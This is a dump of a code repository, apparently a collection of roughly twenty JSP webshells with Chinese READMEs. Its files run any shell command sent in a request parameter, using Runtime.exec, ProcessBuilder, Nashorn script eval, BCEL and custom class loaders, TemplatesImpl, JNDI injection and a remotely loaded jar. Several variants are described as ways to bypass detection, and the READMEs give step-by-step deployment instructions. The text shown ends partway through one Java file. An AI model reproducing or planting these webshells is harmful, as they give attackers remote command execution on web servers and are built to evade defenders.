├── jsp ├── 1 │ ├── README.md │ ├── BcelEvil.java │ └── 1.jsp ├── 2 │ ├── README.md │ ├── ByteCodeEvil.java │ └── 2.jsp ├── 3 │ ├── README.md │ └── 3.jsp ├── 4 │ ├── README.md │ ├── 4.jsp │ └── Evil.java ├── 5 │ ├── README.md │ └── 5.jsp ├── 6 │ ├── README.md │ ├── EvilByteCode6.java │ └── 6.jsp ├── 7 │ ├── README.md │ └── 7.jsp ├── 8 │ ├── README.md │ └── 8.jsp ├── 9 │ ├── README.md │ └── 9.jsp ├── 10 │ ├── evil.jar │ ├── META-INF │ │ └── services │ │ │ └── javax.script.ScriptEngineFactory │ ├── README.md │ ├── EvilScript.java │ └── 10.jsp ├── 11 │ ├── README.md │ ├── EvilTranslet.java │ └── 11.jsp ├── 12 │ ├── README.md │ ├── EvilReadObject.java │ └── 12.jsp ├── 13 │ ├── 13.jsp │ ├── Calc.java │ ├── README.md │ ├── OperationInterceptor.java │ └── LdapServer.java ├── 14 │ ├── README.md │ ├── 14_2.jsp │ └── 14.jsp ├── 15 │ ├── README.md │ ├── EvilMake.java │ ├── Evil15.java │ └── 15.jsp ├── 16 │ ├── README.md │ ├── Evil16.java │ └── 16.jsp ├── 17 │ ├── README.md │ ├── 17.jsp │ └── 17_2.jsp ├── 18 │ ├── README.md │ └── 18.jsp ├── 19 │ ├── 19_2.jsp │ ├── 19.jsp │ └── README.md └── 20 │ ├── SuTestClass.java │ ├── README.md │ ├── ByteCodeEvil.java │ ├── 20_test.jsp │ └── 20.jsp ├── .gitignore ├── .idea ├── $CACHE_FILE$ ├── codeStyles │ ├── codeStyleConfig.xml │ └── Project.xml ├── vcs.xml ├── .gitignore ├── modules.xml ├── libraries │ ├── Maven__com_unboundid_unboundid_ldapsdk_3_1_1.xml │ ├── Maven__javax_servlet_javax_servlet_api_3_1_0.xml │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_el_8_5_43.xml │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_core_8_5_43.xml │ └── Maven__org_apache_tomcat_tomcat_annotations_api_8_5_43.xml ├── compiler.xml ├── jarRepositories.xml ├── misc.xml ├── JSP-Webshells.iml └── uiDesigner.xml ├── pom.xml └── README.md /jsp/10/evil.jar: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | out 2 | build 3 | target 4 | .idea -------------------------------------------------------------------------------- /jsp/10/META-INF/services/javax.script.ScriptEngineFactory: -------------------------------------------------------------------------------- 1 | EvilScript -------------------------------------------------------------------------------- /jsp/20/SuTestClass.java: -------------------------------------------------------------------------------- 1 | public class SuTestClass { 2 | 3 | public static String callMe() { 4 | return "Call Me By Your Heart,And I Shall Be There."; 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /.idea/$CACHE_FILE$: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /jsp/5/README.md: -------------------------------------------------------------------------------- 1 | ### javac动态编译class的JSP Webshell 2 | 3 | 使用: 4 | ``` 5 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 6 | 7 | 2.在浏览器访问5.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/5.jsp?cmd=whoami 8 | 9 | 3.服务器将会执行相应的shell命令,最后回显 10 | ``` -------------------------------------------------------------------------------- /jsp/7/README.md: -------------------------------------------------------------------------------- 1 | ### java.lang.ProcessImpl JSP Webshell 2 | 3 | 使用: 4 | ``` 5 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 6 | 7 | 2.在浏览器访问7.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/7.jsp?cmd=whoami 8 | 9 | 3.服务器将会执行相应的shell命令,最后回显 10 | ``` -------------------------------------------------------------------------------- /jsp/8/README.md: -------------------------------------------------------------------------------- 1 | ### java.lang.ProcessBuilder Webshell 2 | 3 | 使用: 4 | ``` 5 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 6 | 7 | 2.在浏览器访问8.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/8.jsp?cmd=whoami 8 | 9 | 3.服务器将会执行相应的shell命令,最后回显 10 | ``` -------------------------------------------------------------------------------- /jsp/3/README.md: -------------------------------------------------------------------------------- 1 | ### ScriptEngine.eval的JSP Webshell 2 | 3 | 4 | 使用: 5 | ``` 6 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 7 | 8 | 2.在浏览器访问3.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/3.jsp?cmd=whoami 9 | 10 | 3.服务器将会执行相应的shell命令,最后回显 11 | ``` -------------------------------------------------------------------------------- /jsp/18/README.md: -------------------------------------------------------------------------------- 1 | ### 利用TemplatesImpl反序列化的JSP Webshell 2 | 3 | 4 | 使用: 5 | ``` 6 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 7 | 8 | 2.在浏览器访问18.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/18.jsp?cmd=whoami 9 | 10 | 3.服务器将会执行相应的shell命令,最后回显 11 | ``` -------------------------------------------------------------------------------- /jsp/17/README.md: -------------------------------------------------------------------------------- 1 | ### Runtime.exec的JSP Webshell 2 | 3 | 4 | 使用: 5 | ``` 6 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 7 | 8 | 2.在浏览器访问17.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/17.jsp?cmd=whoami 9 | 10 | 3.服务器将会执行相应的shell命令,最后回显 11 | ``` 12 | 13 | -------------------------------------------------------------------------------- /jsp/9/README.md: -------------------------------------------------------------------------------- 1 | ### MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell 2 | 3 | 使用: 4 | ``` 5 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 6 | 7 | 2.在浏览器访问9.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/9.jsp?cmd=whoami 8 | 9 | 3.服务器将会执行相应的shell命令,最后回显 10 | ``` -------------------------------------------------------------------------------- /jsp/19/19_2.jsp: -------------------------------------------------------------------------------- 1 | <%new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval(new java.lang.String(java.util.Base64.getDecoder().decode(request.getParameter("code"))), new javax.script.SimpleBindings(new java.util.HashMap() {{put("response", response);put("request", request);}}));%> 2 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /jsp/1/README.md: -------------------------------------------------------------------------------- 1 | ### BCEL字节码的JSP Webshell 2 | 3 | 生成BCEL字节码: 4 | ``` 5 | javac BcelEvil.class 6 | java BcelEvil 7 | ``` 8 | 9 | 使用: 10 | ``` 11 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 12 | 13 | 2.在浏览器访问1.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/1.jsp?cmd=whoami 14 | 15 | 3.服务器将会执行相应的shell命令,最后回显 16 | ``` -------------------------------------------------------------------------------- /jsp/14/README.md: -------------------------------------------------------------------------------- 1 | ### tomcat el的JSP Webshell 2 | 3 | 使用: 4 | ``` 5 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 6 | 7 | 2.在浏览器访问14.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/14.jsp?cmd=whoami 8 | 9 | 3.在浏览器访问14_2.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/14_2.jsp?cmd=whoami 10 | 11 | 4.服务器将会执行相应的shell命令,最后回显 12 | ``` -------------------------------------------------------------------------------- /jsp/15/README.md: -------------------------------------------------------------------------------- 1 | ### BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell 2 | 3 | 生成BCEL字节码: 4 | ``` 5 | javac EvilMake.class Evil15.class 6 | java EvilMake 7 | ``` 8 | 9 | 使用: 10 | ``` 11 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 12 | 13 | 2.在浏览器访问15.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/15.jsp?cmd=whoami 14 | 15 | 3.服务器将会执行相应的shell命令,最后回显 16 | ``` -------------------------------------------------------------------------------- /jsp/16/README.md: -------------------------------------------------------------------------------- 1 | ### VersionHelper包装的URLClassLoader类加载器的JSP Webshell 2 | 3 | 生成字节码: 4 | ``` 5 | javac Evil16.class 6 | java Evil16 7 | ``` 8 | 9 | 使用: 10 | ``` 11 | ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码 12 | 13 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 14 | 15 | 2.在浏览器访问16.jsp,并使用参数threedr3am传入需要远程执行的命令,例:http://127.0.0.1:8080/16.jsp?cmd=whoami 16 | 17 | 3.服务器将会执行相应的shell命令,最后回显 18 | ``` -------------------------------------------------------------------------------- /jsp/11/README.md: -------------------------------------------------------------------------------- 1 | ### 利用TemplatesImpl触发的JSP Webshell 2 | 3 | 编译字节码: 4 | ``` 5 | javac EvilTranslet.java 6 | 7 | cat EvilTranslet.class|base64 8 | ``` 9 | 10 | 使用: 11 | ``` 12 | ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码 13 | 14 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 15 | 16 | 2.在浏览器访问11.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/11.jsp?cmd=whoami 17 | 18 | 3.服务器将会执行相应的shell命令,最后回显 19 | ``` -------------------------------------------------------------------------------- /jsp/2/README.md: -------------------------------------------------------------------------------- 1 | ### 自定义类加载器的JSP Webshell 2 | 3 | 生成字节码: 4 | ``` 5 | javac ByteCodeEvil.class 6 | java ByteCodeEvil 7 | cat ByteCodeEvil.class|base64 8 | ``` 9 | 10 | 使用: 11 | ``` 12 | ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码 13 | 14 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 15 | 16 | 2.在浏览器访问2.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/2.jsp?cmd=whoami 17 | 18 | 3.服务器将会执行相应的shell命令,最后回显 19 | ``` -------------------------------------------------------------------------------- /jsp/4/README.md: -------------------------------------------------------------------------------- 1 | ### URLClassLoader加载远程jar的JSP Webshell 2 | 3 | 编译打包jar: 4 | ``` 5 | javac Evil.java 6 | jar -cvf evil.jar Evil.class 7 | ``` 8 | 9 | 使用: 10 | ``` 11 | 1.把evil.jar放到可被访问的HTTP服务器,例:http://1.1.1.1:23232/evil.jar 12 | 13 | 2.修改evil.jar加载jar的url 14 | 15 | 3.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 16 | 17 | 4.在浏览器访问4.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/4.jsp?cmd=whoami 18 | 19 | 5.服务器将会执行相应的shell命令,最后回显 20 | ``` -------------------------------------------------------------------------------- /jsp/6/README.md: -------------------------------------------------------------------------------- 1 | ### jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell 2 | 3 | 生成字节码: 4 | ``` 5 | javac EvilByteCode6.java 6 | cat EvilByteCode6.class|base64 7 | ``` 8 | 9 | 使用: 10 | ``` 11 | ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码 12 | 13 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 14 | 15 | 2.在浏览器访问6.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/6.jsp?cmd=whoami 16 | 17 | 3.服务器将会执行相应的shell命令,最后回显 18 | ``` -------------------------------------------------------------------------------- /jsp/12/README.md: -------------------------------------------------------------------------------- 1 | ### 重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell 2 | 3 | 编译字节码: 4 | ``` 5 | javac EvilReadObject.java 6 | 7 | cat EvilReadObject.class|base64 8 | ``` 9 | 10 | 使用: 11 | ``` 12 | ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码 13 | 14 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 15 | 16 | 2.在浏览器访问12.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/12.jsp?cmd=whoami 17 | 18 | 3.服务器将会执行相应的shell命令,最后回显 19 | ``` -------------------------------------------------------------------------------- /jsp/4/4.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.URL" %> 2 | <%@ page import="java.net.URLClassLoader" %> 3 | 4 | 5 |

URLClassLoader加载远程jar的JSP Webshell

6 | <% 7 | response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:80/evil.jar")}).loadClass( 8 | "EvilBB01").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes()); 9 | %> 10 | 11 | -------------------------------------------------------------------------------- /jsp/10/README.md: -------------------------------------------------------------------------------- 1 | ### SPI机制的ScriptEngineManager自动加载实例化JSP Webshell 2 | 3 | 编译SPI jar: 4 | ``` 5 | javac EvilScript.java 6 | 7 | jar -cvf evil.jar META-INF EvilScript.class 8 | 9 | cat evil.jar|base64 10 | ``` 11 | 12 | 使用: 13 | ``` 14 | ps:若要修改jar逻辑,修改后按照上面编译的方式得到base64 jar数据替换jsp文件中的base64数据 15 | 16 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 17 | 18 | 2.在浏览器访问10.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/10.jsp?cmd=whoami 19 | 20 | 3.服务器将会执行相应的shell命令,最后回显 21 | ``` -------------------------------------------------------------------------------- /jsp/19/19.jsp: -------------------------------------------------------------------------------- 1 | <%new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]=request.getParameter(\"cmd\");process=java.lang.Runtime.getRuntime().exec(s);process.waitFor();inputStream=process.getInputStream();var ByteArray=Java.type('byte[]');var bytes=new ByteArray(inputStream.available());inputStream.read(bytes);response.getOutputStream().write(bytes);", new javax.script.SimpleBindings(new java.util.HashMap() {{put("response", response);put("request", request);}}));%> 2 | -------------------------------------------------------------------------------- /jsp/13/13.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.sun.rowset.JdbcRowSetImpl" %> 2 | 3 | 4 |

JdbcRowSetImpl进行jndi注入的JSP Webshell

5 | <% 6 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); 7 | JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); 8 | jdbcRowSet.setDataSourceName(request.getParameter("cmd"));//ldap://localhost:43658/Calc 9 | try { 10 | jdbcRowSet.setAutoCommit(true); 11 | } catch (Throwable e) { 12 | response.getOutputStream().write(e.getCause().getMessage().getBytes()); 13 | } 14 | %> 15 | 16 | -------------------------------------------------------------------------------- /jsp/20/README.md: -------------------------------------------------------------------------------- 1 | ### Proxy 的 native 方法 defineClass0 加载类字节码 2 | 3 | 说明: 4 | 5 | 反射调用 java.lang.reflect.Proxy 的 native 方法 defineClass0 向 JVM 注册类,本质上类似 ClassLoader 类型的木马,但是可以绕过对 ClassLoader 的相关防御,另外由于是 native 方法,可以绕过很多检测方式。 6 | 7 | 生成字节码(使用 2.jsp 中的类): 8 | ``` 9 | javac ByteCodeEvil.java 10 | java ByteCodeEvil 11 | cat ByteCodeEvil.class|base64 12 | ``` 13 | 14 | 使用: 15 | ``` 16 | ps:若要修改字节码逻辑,修改后按照上面编译字节码的方式得到base64字节码替换jsp文件中的base64字节码 17 | 18 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 19 | 20 | 2.在浏览器访问20.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/2.jsp?cmd=whoami 21 | 22 | 3.服务器将会执行相应的shell命令,最后回显 23 | ``` 24 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_unboundid_unboundid_ldapsdk_3_1_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javax_servlet_javax_servlet_api_3_1_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_el_8_5_43.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_core_8_5_43.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_tomcat_tomcat_annotations_api_8_5_43.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /jsp/15/EvilMake.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.bcel.internal.classfile.Utility; 2 | import java.io.IOException; 3 | import java.io.InputStream; 4 | 5 | public class EvilMake { 6 | 7 | public static void main(String[] args) throws IOException { 8 | InputStream inputStream = EvilMake.class.getClassLoader().getResourceAsStream("Evil15.class"); 9 | byte[] bytes = new byte[inputStream.available()]; 10 | inputStream.read(bytes); 11 | String code = "$$BCEL$$" + Utility.encode(bytes, true); 12 | bytes = code.getBytes(); 13 | for (int i = 0; i < bytes.length; i++) { 14 | System.out.print(bytes[i]); 15 | if (i != bytes.length - 1) 16 | System.out.print(","); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /jsp/19/README.md: -------------------------------------------------------------------------------- 1 | ### 精简一句话ScriptEngine.eval的JSP Webshell 2 | 3 | 4 | 使用: 5 | ``` 6 | 1.把jsp文件放到能被解析的服务器目录,例:tomcat的webapps/ROOT 7 | 8 | 2. 9 | 10 | 在浏览器访问19.jsp,并使用参数cmd传入需要远程执行的命令,例:http://127.0.0.1:8080/19.jsp?cmd=whoami 11 | 12 | 或 13 | 14 | 在浏览器访问19_2.jsp,并使用参数cmd传入需要远程执行的命令,code传入base64编码的js脚本,例:http://127.0.0.1:8080/19_2.jsp?cmd=whoami&code=cz1bM107c1swXT0nL2Jpbi9iYXNoJztzWzFdPSctYyc7c1syXT1yZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7cHJvY2Vzcz1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTtwcm9jZXNzLndhaXRGb3IoKTtpbnB1dFN0cmVhbT1wcm9jZXNzLmdldElucHV0U3RyZWFtKCk7dmFyIEJ5dGVBcnJheT1KYXZhLnR5cGUoJ2J5dGVbXScpO3ZhciBieXRlcz1uZXcgQnl0ZUFycmF5KGlucHV0U3RyZWFtLmF2YWlsYWJsZSgpKTtpbnB1dFN0cmVhbS5yZWFkKGJ5dGVzKTtyZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKS53cml0ZShieXRlcyk7 15 | 16 | 3.服务器将会执行相应的shell命令,最后回显 17 | ``` -------------------------------------------------------------------------------- /jsp/4/Evil.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.util.Base64; 6 | 7 | public class Evil { 8 | 9 | String res; 10 | 11 | public Evil(String cmd) throws IOException { 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); 14 | String line; 15 | while((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | res = stringBuilder.toString(); 19 | } 20 | 21 | @Override 22 | public String toString() { 23 | return res; 24 | } 25 | 26 | } -------------------------------------------------------------------------------- /jsp/17/17.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.BufferedReader" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.io.InputStreamReader" %> 4 | 5 | 6 |

Runtime.exec的JSP Webshell

7 | <% 8 | String s2 = request.getParameter("cmd"); 9 | Process process = Runtime.getRuntime().exec(s2.split(" ")); 10 | InputStream inputStream = process.getInputStream(); 11 | StringBuilder stringBuilder = new StringBuilder(); 12 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 13 | String line; 14 | while((line = bufferedReader.readLine()) != null) { 15 | stringBuilder.append(line).append("\n"); 16 | } 17 | if (stringBuilder.length() > 0) { 18 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 19 | } 20 | %> 21 | 22 | -------------------------------------------------------------------------------- /jsp/13/Calc.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.InputStream; 3 | import java.io.InputStreamReader; 4 | 5 | public class Calc { 6 | static { 7 | StringBuilder stringBuilder = new StringBuilder(); 8 | try { 9 | String cmd = "whoami"; 10 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 11 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 12 | String line; 13 | while((line = bufferedReader.readLine()) != null) { 14 | stringBuilder.append(line).append("\n"); 15 | } 16 | } catch (Throwable e) { 17 | e.printStackTrace(); 18 | } 19 | Integer.parseInt(stringBuilder.toString()); 20 | } 21 | 22 | public static void main(String[] args) { 23 | 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /jsp/13/README.md: -------------------------------------------------------------------------------- 1 | ### JdbcRowSetImpl进行jndi注入的JSP Webshell 2 | 3 | 因为引入了ldap sdk,所以,需要去maven仓库下载个unboundid-ldapsdk-3.1.1.jar 4 | 5 | 具体的使用: 6 | 7 | 1. 修改Calc.java中的cmd局部变量为需要执行的shell命令,然后执行javac Calc.java编译得到Calc.class 8 | 2. 把上一步得到的Calc.class放到webshell运行环境可访问的http服务器中 9 | 3. 把LdapServer.java、OperationInterceptor.java、unboundid-ldapsdk-3.1.1.jar放到同一目录下,执行编译javac -cp unboundid-ldapsdk-3.1.1.jar:. LdapServer.java 10 | 4. 执行jar cvf LdapServer.jar LdapServer.class OperationInterceptor.class打包成LdapServer.jar 11 | 5. 把LdapServer.jar、unboundid-ldapsdk-3.1.1.jar放到同一目录下,java -cp LdapServer.jar:unboundid-ldapsdk-3.1.1.jar LdapServer 12345 "http://127.0.0.1:80/#Calc",其中12345为ldap server的端口,"http://127.0.0.1:80/#Calc"中的127.0.0.1:80为上一步中可访问的http服务器,因为Calc.class存放于http服务器根目录,所以为Calc(Calc存放在http服务器的文件有后缀.class,但是参数不需要.class) 12 | 6. 把jsp放到tomcat的webapps/ROOT/中,访问http://127.0.0.1:8080/13.jsp?cmd=ldap://127.0.0.1:12345,cmd参数即为刚刚上一步启动的ldap server的url -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /jsp/8/8.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.BufferedReader" %> 2 | <%@ page import="java.io.InputStream" %> 3 | <%@ page import="java.io.InputStreamReader" %> 4 | 5 | 6 |

java.lang.ProcessBuilder JSP Webshell

7 | <% 8 | try { 9 | final String s = request.getParameter("cmd"); 10 | Process process = new ProcessBuilder().command(s.split(" ")).start(); 11 | InputStream inputStream = process.getInputStream(); 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 14 | String line; 15 | while ((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 19 | } catch (Exception e) { 20 | e.printStackTrace(); 21 | } 22 | 23 | %> 24 | 25 | -------------------------------------------------------------------------------- /jsp/15/Evil15.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.File; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.nio.file.Files; 6 | import java.nio.file.Paths; 7 | 8 | public class Evil15 { 9 | 10 | static { 11 | StringBuilder stringBuilder = new StringBuilder(); 12 | try { 13 | String tmp = System.getProperty("java.io.tmpdir"); 14 | String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD"))); 15 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 16 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 17 | String line; 18 | while((line = bufferedReader.readLine()) != null) { 19 | stringBuilder.append(line).append("\n"); 20 | } 21 | } catch (Throwable e) { 22 | e.printStackTrace(); 23 | } 24 | Integer.parseInt(stringBuilder.toString()); 25 | } 26 | } -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 13 | 15 | 16 | 21 | 22 | 23 | 24 | 26 | -------------------------------------------------------------------------------- /jsp/3/3.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.script.ScriptEngineManager" %> 2 | <%@ page import="java.util.Base64" %> 3 | <%@ page import="java.io.InputStream" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page import="java.io.InputStreamReader" %> 6 | 7 | 8 |

ScriptEngine.eval的JSP Webshell

9 | <% 10 | String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='"; 11 | String s2 = request.getParameter("cmd"); 12 | String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs=")); 13 | Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3); 14 | InputStream inputStream = process.getInputStream(); 15 | StringBuilder stringBuilder = new StringBuilder(); 16 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); 17 | String line; 18 | while((line = bufferedReader.readLine()) != null) { 19 | stringBuilder.append(line).append("\n"); 20 | } 21 | if (stringBuilder.length() > 0) { 22 | response.getOutputStream().write(stringBuilder.toString().getBytes()); 23 | } 24 | %> 25 | 26 | -------------------------------------------------------------------------------- /jsp/16/Evil16.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.util.Base64; 6 | 7 | public class Evil16 { 8 | 9 | String res; 10 | 11 | public Evil16(String cmd) throws IOException { 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); 14 | String line; 15 | while((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | res = stringBuilder.toString(); 19 | } 20 | 21 | @Override 22 | public String toString() { 23 | return res; 24 | } 25 | 26 | public static void main(String[] args) throws IOException { 27 | InputStream inputStream = Evil16.class.getClassLoader().getResourceAsStream("Evil16.class"); 28 | byte[] bytes = new byte[inputStream.available()]; 29 | inputStream.read(bytes); 30 | String code = Base64.getEncoder().encodeToString(bytes); 31 | System.out.println(code); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /jsp/2/ByteCodeEvil.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStream; 4 | import java.io.InputStreamReader; 5 | import java.util.Base64; 6 | 7 | public class ByteCodeEvil { 8 | 9 | String res; 10 | 11 | public ByteCodeEvil(String cmd) throws IOException { 12 | StringBuilder stringBuilder = new StringBuilder(); 13 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); 14 | String line; 15 | while((line = bufferedReader.readLine()) != null) { 16 | stringBuilder.append(line).append("\n"); 17 | } 18 | res = stringBuilder.toString(); 19 | } 20 | 21 | @Override 22 | public String toString() { 23 | return res; 24 | } 25 | 26 | public static void main(String[] args) throws IOException { 27 | InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class"); 28 | byte[] bytes = 